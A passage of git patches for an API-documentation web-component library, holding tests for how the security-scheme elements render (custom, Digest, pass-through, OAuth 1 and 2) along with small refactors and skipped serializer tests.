+          it('has no responses', async () => {
+            const element = await amfModelFixture(model, security);
+            const nodes = element.shadowRoot.querySelectorAll('api-response-document');
+            assert.lengthOf(nodes, 0, 'has no elements');
+          });
+
+          it('has no settings', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('[data-controlled-by="settingsOpened"]');
+            assert.notOk(node, 'has no settings section');
+          });
+        });
+
+        describe('a11y', () => {
+          it('is accessible', async () => {
+            const element = await amfModelFixture(model, security);
+            await assert.isAccessible(element, { ignoredRules: ['color-contrast'] });
+          });
+        });
+      });
+
+      describe('RAML custom auth', () => {
+        /** @type AmfDocument */
+        let model;
+        /** @type SecurityRequirement */
+        let security;
+        before(async () => {
+          model = await loader.getGraph(compact, 'security-api');
+          security = loader.lookupSecurity(model, 'x-custom');
+          assert.ok(security, 'has the custom security');
+        });
+
+        describe('Schema rendering', () => {
+          it('computes the [securityValue] from the passed AMF model', async () => {
+            const element = await amfModelFixture(model, security);
+            assert.typeOf(element[securityValue], 'object', 'has the serialized object');
+            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+          });
+
+          it('computes the [securityValue] from the passed domain id', async () => {
+            const element = await domainIdFixture(model, security['@id']);
+            assert.typeOf(element[securityValue], 'object', 'has the serialized object');
+            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+          });
+
+          it('renders the title', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('.security-header .label');
+            assert.dom.equal(node, '<span class="label">x-custom</span>');
+          });
+
+          it('renders the sub-header', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('.security-header .sub-header');
+            assert.dom.equal(node, '<p class="sub-header">x-custom</p>');
+          });
+
+          it('renders the description', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('.api-description arc-marked');
+            assert.ok(node, 'has the documentation node');
+          });
+
+          it('renders the header parameters', async () => {
+            const element = await amfModelFixture(model, security);
+            const nodes = /** @type NodeListOf<ApiParameterDocumentElement> */ (element.shadowRoot.querySelectorAll('api-parameter-document[data-name="header"]'));
+            assert.lengthOf(nodes, 1, 'has a single header');
+            assert.equal(nodes[0].parameter.name, 'SpecialToken', 'has the parameter definition');
+          });
+
+          it('renders the query parameters', async () => {
+            const element = await amfModelFixture(model, security);
+            const nodes = /** @type NodeListOf<ApiParameterDocumentElement> */ (element.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]'));
+            assert.lengthOf(nodes, 2, 'has both parameters');
+            assert.equal(nodes[0].parameter.name, 'debugToken', 'has a parameter definition');
+          });
+
+          it('has the responses section', async () => {
+            const element = await amfModelFixture(model, security);
+            const nodes = element.shadowRoot.querySelectorAll('api-response-document');
+            assert.lengthOf(nodes, 1, 'has a single response');
+
+            const section = element.shadowRoot.querySelector('.status-codes-selector');
+            assert.ok(section, 'has the status codes section');
+
+            const tabs = section.querySelectorAll('anypoint-tab');
+            assert.lengthOf(tabs, 2, 'has 2 defined responses')
+            assert.equal(tabs[0].dataset.status, '401');
+            assert.equal(tabs[1].dataset.status, '403');
+          });
+
+          it('has no settings', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('[data-controlled-by="settingsOpened"]');
+            assert.notOk(node, 'has no settings section');
+          });
+        });
+
+        describe('a11y', () => {
+          it('is accessible', async () => {
+            const element = await amfModelFixture(model, security);
+            await assert.isAccessible(element, { ignoredRules: ['color-contrast'] });
+          });
+        });
+      });
+
+      describe('Digest auth', () => {
+        /** @type AmfDocument */
+        let model;
+        /** @type SecurityRequirement */
+        let security;
+        before(async () => {
+          model = await loader.getGraph(compact, 'security-api');
+          security = loader.lookupSecurity(model, 'digest');
+          assert.ok(security, 'has the digest security');
+        });
+
+        describe('Schema rendering', () => {
+          it('computes the [securityValue] from the passed AMF model', async () => {
+            const element = await amfModelFixture(model, security);
+            assert.typeOf(element[securityValue], 'object', 'has the serialized object');
+            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+          });
+
+          it('computes the [securityValue] from the passed domain id', async () => {
+            const element = await domainIdFixture(model, security['@id']);
+            assert.typeOf(element[securityValue], 'object', 'has the serialized object');
+            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+          });
+
+          it('renders the title', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('.security-header .label');
+            assert.dom.equal(node, '<span class="label">digest</span>');
+          });
+
+          it('renders the sub-header', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('.security-header .sub-header');
+            assert.dom.equal(node, '<p class="sub-header">Digest Authentication</p>');
+          });
+
+          it('renders the description', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('.api-description arc-marked');
+            assert.ok(node, 'has the documentation node');
+          });
+
+          it('has no parameters', async () => {
+            const element = await amfModelFixture(model, security);
+            const nodes = element.shadowRoot.querySelectorAll('api-parameter-document');
+            assert.lengthOf(nodes, 0);
+          });
+
+          it('has no responses', async () => {
+            const element = await amfModelFixture(model, security);
+            const nodes = element.shadowRoot.querySelectorAll('api-response-document');
+            assert.lengthOf(nodes, 0, 'has no elements');
+          });
+
+          it('has no settings', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('[data-controlled-by="settingsOpened"]');
+            assert.notOk(node, 'has no settings section');
+          });
+        });
+
+        describe('a11y', () => {
+          it('is accessible', async () => {
+            const element = await amfModelFixture(model, security);
+            await assert.isAccessible(element, { ignoredRules: ['color-contrast'] });
+          });
+        });
+      });
+
+      describe('RAML custom auth', () => {
+        /** @type AmfDocument */
+        let model;
+        /** @type SecurityRequirement */
+        let security;
+        before(async () => {
+          model = await loader.getGraph(compact, 'security-api');
+          security = loader.lookupSecurity(model, 'pass_through');
+          assert.ok(security, 'has the custom security');
+        });
+
+        describe('Schema rendering', () => {
+          it('computes the [securityValue] from the passed AMF model', async () => {
+            const element = await amfModelFixture(model, security);
+            assert.typeOf(element[securityValue], 'object', 'has the serialized object');
+            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+          });
+
+          it('computes the [securityValue] from the passed domain id', async () => {
+            const element = await domainIdFixture(model, security['@id']);
+            assert.typeOf(element[securityValue], 'object', 'has the serialized object');
+            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+          });
+
+          it('renders the title', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('.security-header .label');
+            assert.dom.equal(node, '<span class="label">pass_through</span>');
+          });
+
+          it('renders the sub-header', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('.security-header .sub-header');
+            assert.dom.equal(node, '<p class="sub-header">Pass Through</p>');
+          });
+
+          it('renders the description', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('.api-description arc-marked');
+            assert.ok(node, 'has the documentation node');
+          });
+
+          it('renders the header parameters', async () => {
+            const element = await amfModelFixture(model, security);
+            const nodes = /** @type NodeListOf<ApiParameterDocumentElement> */ (element.shadowRoot.querySelectorAll('api-parameter-document[data-name="header"]'));
+            assert.lengthOf(nodes, 1, 'has a single header');
+            assert.equal(nodes[0].parameter.name, 'api_key_pass_through', 'has the parameter definition');
+          });
+
+          it('renders the query parameters', async () => {
+            const element = await amfModelFixture(model, security);
+            const nodes = /** @type NodeListOf<ApiParameterDocumentElement> */ (element.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]'));
+            assert.lengthOf(nodes, 1, 'has a single parameter');
+            assert.equal(nodes[0].parameter.name, 'api-key-pass-through', 'has a parameter definition');
+          });
+
+          it('has no responses', async () => {
+            const element = await amfModelFixture(model, security);
+            const nodes = element.shadowRoot.querySelectorAll('api-response-document');
+            assert.lengthOf(nodes, 0, 'has no elements');
+          });
+
+          it('has no settings', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('[data-controlled-by="settingsOpened"]');
+            assert.notOk(node, 'has no settings section');
+          });
+        });
+
+        describe('a11y', () => {
+          it('is accessible', async () => {
+            const element = await amfModelFixture(model, security);
+            await assert.isAccessible(element, { ignoredRules: ['color-contrast'] });
+          });
+        });
+      });
+
+      describe('OAuth 1 auth', () => {
+        /** @type AmfDocument */
+        let model;
+        /** @type SecurityRequirement */
+        let security;
+        before(async () => {
+          model = await loader.getGraph(compact, 'security-api');
+          security = loader.lookupSecurity(model, 'oauth_1_0');
+          assert.ok(security, 'has the custom security');
+        });
+
+        describe('Schema rendering', () => {
+          it('computes the [securityValue] from the passed AMF model', async () => {
+            const element = await amfModelFixture(model, security);
+            assert.typeOf(element[securityValue], 'object', 'has the serialized object');
+            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+          });
+
+          it('computes the [securityValue] from the passed domain id', async () => {
+            const element = await domainIdFixture(model, security['@id']);
+            assert.typeOf(element[securityValue], 'object', 'has the serialized object');
+            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+          });
+
+          it('renders the title', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('.security-header .label');
+            assert.dom.equal(node, '<span class="label">oauth_1_0</span>');
+          });
+
+          it('renders the sub-header', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('.security-header .sub-header');
+            assert.dom.equal(node, '<p class="sub-header">OAuth 1.0</p>');
+          });
+
+          it('renders the description', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('.api-description arc-marked');
+            assert.ok(node, 'has the documentation node');
+          });
+
+          it('renders the header parameters', async () => {
+            const element = await amfModelFixture(model, security);
+            const nodes = /** @type NodeListOf<ApiParameterDocumentElement> */ (element.shadowRoot.querySelectorAll('api-parameter-document[data-name="header"]'));
+            assert.lengthOf(nodes, 1, 'has a single header');
+            assert.equal(nodes[0].parameter.name, 'Authorization', 'has the parameter definition');
+          });
+
+          it('renders the query parameters', async () => {
+            const element = await amfModelFixture(model, security);
+            const nodes = /** @type NodeListOf<ApiParameterDocumentElement> */ (element.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]'));
+            assert.lengthOf(nodes, 1, 'has a single parameter');
+            assert.equal(nodes[0].parameter.name, 'token', 'has a parameter definition');
+          });
+
+          it('has the responses section', async () => {
+            const element = await amfModelFixture(model, security);
+            const nodes = element.shadowRoot.querySelectorAll('api-response-document');
+            assert.lengthOf(nodes, 1, 'has a single response');
+
+            const section = element.shadowRoot.querySelector('.status-codes-selector');
+            assert.ok(section, 'has the status codes section');
+
+            const tabs = section.querySelectorAll('anypoint-tab');
+            assert.lengthOf(tabs, 1, 'has 1 defined responses');
+            assert.equal(tabs[0].dataset.status, '403');
+          });
+
+          it('has the settings section', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('[data-controlled-by="settingsOpened"]');
+            assert.ok(node, 'has the section');
+          });
+
+          it('has the authorization URI setting', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('[data-type="authorization-uri"]');
+            assert.ok(node, 'has the title');
+            assert.equal(node.textContent.trim(), 'Authorization URI', 'has the section title');
+            assert.equal(node.nextElementSibling.textContent.trim(), 'http://api.domain.com/oauth1/authorize', 'has the URI value');
+          });
+
+          it('has the access token URI setting', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('[data-type="token-uri"]');
+            assert.ok(node, 'has the title');
+            assert.equal(node.textContent.trim(), 'Access token URI', 'has the section title');
+            assert.equal(node.nextElementSibling.textContent.trim(), 'http://api.domain.com/oauth1/request_token', 'has the URI value');
+          });
+
+          it('has the token credentials URI setting', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('[data-type="token-credentials-uri"]');
+            assert.ok(node, 'has the title');
+            assert.equal(node.textContent.trim(), 'Token credentials URI', 'has the section title');
+            assert.equal(node.nextElementSibling.textContent.trim(), 'http://api.domain.com/oauth1/access_token', 'has the URI value');
+          });
+
+          it('has the signatures setting', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('[data-type="signatures"]');
+            assert.ok(node, 'has the title');
+            assert.equal(node.textContent.trim(), 'Supported signatures', 'has the section title');
+            const list = /** @type HTMLUListElement */ (node.nextElementSibling);
+            const items = list.querySelectorAll('li');
+            assert.equal(items[0].textContent.trim(), 'RSA-SHA1');
+            assert.equal(items[1].textContent.trim(), 'HMAC-SHA1');
+          });
+        });
+
+        describe('a11y', () => {
+          it('is accessible', async () => {
+            const element = await amfModelFixture(model, security);
+            await assert.isAccessible(element, { ignoredRules: ['color-contrast'] });
+          });
+        });
+      });
+
+      describe('OAuth 2 auth', () => {
+        /** @type AmfDocument */
+        let model;
+        /** @type SecurityRequirement */
+        let security;
+
+        describe('Basic schema rendering', () => {
+          before(async () => {
+            model = await loader.getGraph(compact, 'secured-api');
+            security = loader.lookupSecurity(model, 'Regular OAuth 2.0 definition');
+            assert.ok(security, 'has the custom security');
+          });
+
+          it('computes the [securityValue] from the passed AMF model', async () => {
+            const element = await amfModelFixture(model, security);
+            assert.typeOf(element[securityValue], 'object', 'has the serialized object');
+            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+          });
+
+          it('computes the [securityValue] from the passed domain id', async () => {
+            const element = await domainIdFixture(model, security['@id']);
+            assert.typeOf(element[securityValue], 'object', 'has the serialized object');
+            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+          });
+
+          it('renders the title', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('.security-header .label');
+            assert.dom.equal(node, '<span class="label">Regular OAuth 2.0 definition</span>');
+          });
+
+          it('renders the sub-header', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('.security-header .sub-header');
+            assert.dom.equal(node, '<p class="sub-header">OAuth 2.0</p>');
+          });
+
+          it('renders the description', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('.api-description arc-marked');
+            assert.notOk(node, 'has no documentation node');
+          });
+
+          it('renders the header parameters', async () => {
+            const element = await amfModelFixture(model, security);
+            const nodes = /** @type NodeListOf<ApiParameterDocumentElement> */ (element.shadowRoot.querySelectorAll('api-parameter-document[data-name="header"]'));
+            assert.lengthOf(nodes, 1, 'has a single header');
+            assert.equal(nodes[0].parameter.name, 'Authorization', 'has the parameter definition');
+          });
+
+          it('renders the query parameters', async () => {
+            const element = await amfModelFixture(model, security);
+            const nodes = /** @type NodeListOf<ApiParameterDocumentElement> */ (element.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]'));
+            assert.lengthOf(nodes, 1, 'has a single parameter');
+            assert.equal(nodes[0].parameter.name, 'access_token', 'has a parameter definition');
+          });
+
+          it('has no responses section', async () => {
+            const element = await amfModelFixture(model, security);
+            const nodes = element.shadowRoot.querySelectorAll('api-response-document');
+            assert.lengthOf(nodes, 0, 'has no responses');
+          });
+
+          it('has the settings section', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('[data-controlled-by="settingsOpened"]');
+            assert.ok(node, 'has the section');
+          });
+
+          it('has the access token URI setting', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('[data-type="token-uri"]');
+            assert.ok(node, 'has the title');
+            assert.equal(node.textContent.trim(), 'Access token URI', 'has the section title');
+            assert.equal(node.nextElementSibling.textContent.trim(), 'https://token.com', 'has the URI value');
+          });
+
+          it('has the authorization URI setting', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('[data-type="authorization-uri"]');
+            assert.ok(node, 'has the title');
+            assert.equal(node.textContent.trim(), 'Authorization URI', 'has the section title');
+            assert.equal(node.nextElementSibling.textContent.trim(), 'https://auth.com', 'has the URI value');
+          });
+
+          it('has the authorization scopes setting', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('[data-type="authorization-scopes"]');
+            assert.ok(node, 'has the title');
+            assert.equal(node.textContent.trim(), 'Authorization scopes', 'has the section title');
+            const list = /** @type HTMLUListElement */ (node.nextElementSibling);
+            const items = list.querySelectorAll('li');
+            assert.equal(items[0].textContent.trim(), 'profile');
+            assert.equal(items[1].textContent.trim(), 'email');
+          });
+        });
+
+        describe('Authorization grants rendering', () => {
+          before(async () => {
+            model = await loader.getGraph(compact, 'secured-api');
+            security = loader.lookupSecurity(model, 'OAuth 2 grants security');
+            assert.ok(security, 'has the custom security');
+          });
+
+          it('has the authorization grants setting', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('[data-type="authorization-grants"]');
+            assert.ok(node, 'has the title');
+            assert.equal(node.textContent.trim(), 'Authorization grants', 'has the section title');
+            const list = /** @type HTMLUListElement */ (node.nextElementSibling);
+            const items = list.querySelectorAll('li');
+            assert.lengthOf(items, 1, 'has a single grant type');
+            assert.equal(items[0].textContent.trim(), 'authorization_code');
+          });
+        });
+
+        describe('No authorization scopes', () => {
+          before(async () => {
+            model = await loader.getGraph(compact, 'security-api');
+            security = loader.lookupSecurity(model, 'OAuth2 (no scopes)');
+            assert.ok(security, 'has the custom security');
+          });
+
+          it('has np authorization scopes setting', async () => {
+            const element = await amfModelFixture(model, security);
+            const node = element.shadowRoot.querySelector('[data-type="authorization-scopes"]');
+            assert.notOk(node, 'has no title');
+          });
+        });
+
+        describe('Multiple flows', () => {
+          before(async () => {
+            model = await loader.getGraph(compact, 'oauth-flows');
+            security = loader.lookupSecurity(model, 'oAuthSample');
+            assert.ok(security, 'has the custom security');
+          });
+
+          it('has multiple flows', async () => {
+            const element = await amfModelFixture(model, security);
+            const nodes = element.shadowRoot.querySelectorAll('.flow-description');
+            assert.lengthOf(nodes, 4, 'has 4 flows sections');
+          });
+
+          it('renders a flow title', async () => {
+            const element = await amfModelFixture(model, security);
+            const section = element.shadowRoot.querySelector('.flow-description');
+            const title = section.querySelector('.grant-title');
+            assert.dom.equal(title, '<h4 class="grant-title">Implicit</h4>');
+          });
+
+          it('has the authorization URI setting', async () => {
+            const element = await amfModelFixture(model, security);
+            const section = element.shadowRoot.querySelector('.flow-description');
+            const node = section.querySelector('[data-type="authorization-uri"]');
+            assert.ok(node, 'has the title');
+            assert.equal(node.textContent.trim(), 'Authorization URI', 'has the section title');
+            assert.equal(node.nextElementSibling.textContent.trim(), 'https://api.example.com/oauth2/authorize', 'has the URI value');
+          });
+
+          it('has the authorization scopes setting', async () => {
+            const element = await amfModelFixture(model, security);
+            const section = element.shadowRoot.querySelector('.flow-description');
+            const node = section.querySelector('[data-type="authorization-scopes"]');
+            assert.ok(node, 'has the title');
+            assert.equal(node.textContent.trim(), 'Authorization scopes', 'has the section title');
+            const list = /** @type HTMLUListElement */ (node.nextElementSibling);
+            const items = list.querySelectorAll('li');
+            const readScope = items[0];
+            assert.dom.equal(
+              readScope.querySelector('.scope-name'),
+              '<span class="scope-name">read_pets</span>'
+            );
+            assert.dom.equal(
+              readScope.querySelector('.scope-description'),
+              '<span class="scope-description">read your pets</span>'
+            );
+          });
+        });
+
+        describe('a11y', () => {
+          before(async () => {
+            model = await loader.getGraph(compact, 'secured-api');
+          });
+
+          it('is accessible', async () => {
+            security = loader.lookupSecurity(model, 'Regular OAuth 2.0 definition');
+            const element = await amfModelFixture(model, security);
+            await assert.isAccessible(element, { ignoredRules: ['color-contrast'] });
+          });
+        });
+      });
+    });
+  });
+});
diff --git a/test/navigation/security-fragment.test.js b/test/navigation/security-fragment.test.js
index 7055905..4e57dcd 100644
--- a/test/navigation/security-fragment.test.js
+++ b/test/navigation/security-fragment.test.js
@@ -48,7 +48,7 @@ describe('ApiNavigationElement', () => {
           const result = element[securityValue];
           assert.lengthOf(result, 1);
           assert.typeOf(result[0].id, 'string');
-          assert.equal(result[0].label, 'MyOauth');
+          assert.equal(result[0].label, 'MyOauth - OAuth 2.0');
         });
 
         it('Endpoints is undefined', () => {
diff --git a/test/serializer/Endpoints.test.js b/test/serializer/Endpoints.test.js
index 51183e9..d36d8bd 100644
--- a/test/serializer/Endpoints.test.js
+++ b/test/serializer/Endpoints.test.js
@@ -113,7 +113,12 @@ describe('AmfSerializer', () => {
       assert.ok(param);
     });
 
-    it('adds a resource type extension', () => {
+    //
+    // These tests are skipped because AMF apparently removes this information from 
+    // a valid model.
+    // 
+
+    it.skip('adds a resource type extension', () => {
       const shape = loader.lookupEndpoint(arcDemoApi, '/products');
       const result = arcDemoSerializer.endPoint(shape);
       const { extends: extensions } = result;
@@ -129,7 +134,7 @@ describe('AmfSerializer', () => {
       assert.typeOf(type.target, 'object', 'has the target definition');
     });
 
-    it('adds a trait extension', () => {
+    it.skip('adds a trait extension', () => {
       const shape = loader.lookupEndpoint(arcDemoApi, '/orgs/{orgId}');
       const result = arcDemoSerializer.endPoint(shape);
       const { extends: extensions } = result;
@@ -145,7 +150,7 @@ describe('AmfSerializer', () => {
       assert.typeOf(type.target, 'object', 'has the target definition');
     });
 
-    it('adds both a trait and a resource type extensions', () => {
+    it.skip('adds both a trait and a resource type extensions', () => {
       const shape = loader.lookupEndpoint(arcDemoApi, '/people');
       const result = arcDemoSerializer.endPoint(shape);
       const { extends: extensions } = result;
diff --git a/test/serializer/Operations.test.js b/test/serializer/Operations.test.js
index ff45313..4a1f0e5 100644
--- a/test/serializer/Operations.test.js
+++ b/test/serializer/Operations.test.js
@@ -285,7 +285,12 @@ describe('AmfSerializer', () => {
       });
     });
     
-    describe('Traits', () => {
+    //
+    // These tests are skipped because AMF apparently removes this information from 
+    // a valid model.
+    // 
+
+    describe.skip('Traits', () => {
       before(async () => {
         api = await loader.getGraph(true, 'arc-demo-api');
         serializer = new AmfSerializer();
@@ -303,7 +308,7 @@ describe('AmfSerializer', () => {
         assert.equal(trait.name, 'Paginated', 'has the trait name');
       });
 
-      it('serializes the variables', () => {
+      it('serializes the variables in a trait', () => {
         const shape = loader.lookupOperation(api, '/people', 'get');
         const result = serializer.operation(shape);
         const { extends: extensions } = result;
diff --git a/web-test-runner.config.mjs b/web-test-runner.config.mjs
index d64dd0a..ccc45a4 100644
--- a/web-test-runner.config.mjs
+++ b/web-test-runner.config.mjs
@@ -2,7 +2,7 @@ export default {
   files: 'test/**/*.test.js',
   // files: 'test/navigation/*.test.js',
   // files: 'test/elements/ApiServerSelectorElement.test.js',
-  // files: 'test/elements/SE-12957.test.js',
+  // files: 'test/serializer/Endpoints.test.js',
   nodeResolve: true,
   testFramework: {
     config: {

From 917101c42a96e33321f9bdcdeb0962cc29911d81 Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Mon, 11 Oct 2021 21:59:02 -0700
Subject: [PATCH 14/36] chore: adding tests for the sec requirement element

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 index.d.ts                                    |  1 +
 index.js                                      |  1 +
 src/elements/ApiOperationDocumentElement.js   |  3 +-
 .../ApiParametrizedSecuritySchemeElement.js   |  1 +
 ...ApiSecurityRequirementDocumentElement.d.ts | 19 ++++
 .../ApiSecurityRequirementDocumentElement.js  | 39 +-------
 test/AmfLoader.js                             | 11 +--
 .../ApiOperationDocumentElement.test.js       |  9 +-
 .../ApiSecurityDocumentElement.test.js        |  2 +-
 ...SecurityRequirementDocumentElement.test.js | 92 +++++++++++++++++++
 web-test-runner.config.mjs                    |  5 +-
 11 files changed, 133 insertions(+), 50 deletions(-)
 create mode 100644 src/elements/ApiSecurityRequirementDocumentElement.d.ts
 create mode 100644 test/elements/ApiSecurityRequirementDocumentElement.test.js

diff --git a/index.d.ts b/index.d.ts
index fe9c810..3aff1d0 100644
--- a/index.d.ts
+++ b/index.d.ts
@@ -20,6 +20,7 @@ export { default as HttpMethodLabelElement } from './src/elements/HttpMethodLabe
 export { default as ApiNavigationElement } from './src/elements/ApiNavigationElement';
 export { default as ApiSecurityDocumentElement } from './src/elements/ApiSecurityDocumentElement';
 export { default as ApiParametrizedSecuritySchemeElement } from './src/elements/ApiParametrizedSecuritySchemeElement';
+export { default as ApiSecurityRequirementDocumentElement } from './src/elements/ApiSecurityRequirementDocumentElement';
 export * from './src/events/EventTypes';
 export * from './src/events/Events';
 export * as InputCache from './src/lib/InputCache';
diff --git a/index.js b/index.js
index a6c7772..b5e506c 100644
--- a/index.js
+++ b/index.js
@@ -20,6 +20,7 @@ export { default as HttpMethodLabelElement } from './src/elements/HttpMethodLabe
 export { default as ApiNavigationElement } from './src/elements/ApiNavigationElement.js';
 export { default as ApiSecurityDocumentElement } from './src/elements/ApiSecurityDocumentElement.js';
 export { default as ApiParametrizedSecuritySchemeElement } from './src/elements/ApiParametrizedSecuritySchemeElement.js';
+export { default as ApiSecurityRequirementDocumentElement } from './src/elements/ApiSecurityRequirementDocumentElement.js';
 export * from './src/events/EventTypes.js';
 export * from './src/events/Events.js';
 export * as InputCache from './src/lib/InputCache.js';
diff --git a/src/elements/ApiOperationDocumentElement.js b/src/elements/ApiOperationDocumentElement.js
index 8fd2f9b..bea22a6 100644
--- a/src/elements/ApiOperationDocumentElement.js
+++ b/src/elements/ApiOperationDocumentElement.js
@@ -1003,9 +1003,10 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase {
    * @returns {TemplateResult} 
    */
   [securityTemplate](security) {
+    // .domainId="${security.id}" 
     return html`<api-security-requirement-document 
       .amf="${this.amf}" 
-      .domainId="${security.id}" 
+      .securityRequirement="${security}"
       ?anypoint="${this.anypoint}"
     ></api-security-requirement-document>`
   }
diff --git a/src/elements/ApiParametrizedSecuritySchemeElement.js b/src/elements/ApiParametrizedSecuritySchemeElement.js
index 1add995..6ec68f0 100644
--- a/src/elements/ApiParametrizedSecuritySchemeElement.js
+++ b/src/elements/ApiParametrizedSecuritySchemeElement.js
@@ -20,6 +20,7 @@ export const mergeSettings = Symbol('mergeSettings');
 
 export default class ApiParametrizedSecuritySchemeElement extends ApiSecurityDocumentElement {
   get styles() {
+    // @ts-ignore
     return [...super.styles, elementStyles];
   }
 
diff --git a/src/elements/ApiSecurityRequirementDocumentElement.d.ts b/src/elements/ApiSecurityRequirementDocumentElement.d.ts
new file mode 100644
index 0000000..6667a2b
--- /dev/null
+++ b/src/elements/ApiSecurityRequirementDocumentElement.d.ts
@@ -0,0 +1,19 @@
+import { TemplateResult } from 'lit-element';
+import { ApiDocumentationBase } from './ApiDocumentationBase.js';
+import { ApiSecurityRequirement } from '../helpers/api';
+import { SecurityRequirement } from '../helpers/amf';
+
+export const securityRequirementValue: unique symbol;
+export const findOperationSecurity: unique symbol;
+
+export default class ApiSecurityRequirementDocumentElement extends ApiDocumentationBase {
+  domainModel: SecurityRequirement;
+  [securityRequirementValue]: ApiSecurityRequirement;
+  constructor();
+  get securityRequirement(): ApiSecurityRequirement;
+  set securityRequirement(value: ApiSecurityRequirement);
+  processGraph(): Promise<void>;
+  [findOperationSecurity](id: string): SecurityRequirement|undefined;
+
+  render(): TemplateResult;
+}
diff --git a/src/elements/ApiSecurityRequirementDocumentElement.js b/src/elements/ApiSecurityRequirementDocumentElement.js
index 4ae228c..5ba5652 100644
--- a/src/elements/ApiSecurityRequirementDocumentElement.js
+++ b/src/elements/ApiSecurityRequirementDocumentElement.js
@@ -11,7 +11,6 @@ import '../../api-parametrized-security-scheme.js';
 /** @typedef {import('../helpers/amf').SecurityRequirement} SecurityRequirement */
 
 export const securityRequirementValue = Symbol('securityRequirementValue');
-export const findSecurity = Symbol('findSecurity');
 export const findOperationSecurity = Symbol('findOperationSecurity');
 
 export default class ApiSecurityRequirementDocumentElement extends ApiDocumentationBase {
@@ -54,10 +53,7 @@ export default class ApiSecurityRequirementDocumentElement extends ApiDocumentat
     let processModel = domainModel;
     if (!processModel && domainId) {
       if (!this[securityRequirementValue] || this[securityRequirementValue].id !== domainId) {
-        processModel = this[findSecurity](domainId);
-        if (!processModel) {
-          processModel = this[findOperationSecurity](domainId);
-        }
+        processModel = this[findOperationSecurity](domainId);
       }
     }
     if (processModel) {
@@ -66,39 +62,6 @@ export default class ApiSecurityRequirementDocumentElement extends ApiDocumentat
     await this.requestUpdate();
   }
 
-  /**
-   * @param {string} id
-   * @returns {SecurityRequirement|undefined} 
-   */
-  [findSecurity](id) {
-    const { amf } = this;
-    if (!amf) {
-      return undefined;
-    }
-    const declares = this._computeDeclares(amf);
-    if (declares) {
-      const result = declares.find((item) => item['@id'] === id);
-      if (result) {
-        return this._resolve(result);
-      }
-    }
-    const references = this._computeReferences(amf) || [];
-    for (const reference of references) {
-      if (!this._hasType(reference, this.ns.aml.vocabularies.document.Module)) {
-        const referencedDeclares = this._computeDeclares(reference) || [];
-        for (let declare of referencedDeclares) {
-          if (Array.isArray(declare)) {
-            [declare] = declare;
-          }
-          if (declare['@id'] === id) {
-            return this._resolve(declare);
-          }
-        }
-      }
-    }
-    return undefined;
-  }
-
   /**
    * @param {string} id
    * @returns {SecurityRequirement|undefined} 
diff --git a/test/AmfLoader.js b/test/AmfLoader.js
index 46bd545..0edb816 100644
--- a/test/AmfLoader.js
+++ b/test/AmfLoader.js
@@ -8,6 +8,7 @@ import { AmfSerializer } from '../src/helpers/AmfSerializer.js';
 /** @typedef {import('../src/helpers/amf').Operation} Operation */
 /** @typedef {import('../src/helpers/amf').Payload} Payload */
 /** @typedef {import('../src/helpers/amf').SecurityRequirement} SecurityRequirement */
+/** @typedef {import('../src/helpers/amf').SecurityScheme} SecurityScheme */
 /** @typedef {import('../src/helpers/amf').Shape} Shape */
 /** @typedef {import('../src/helpers/amf').CreativeWork} CreativeWork */
 /** @typedef {import('../src/helpers/amf').WebApi} WebApi */
@@ -19,6 +20,7 @@ import { AmfSerializer } from '../src/helpers/AmfSerializer.js';
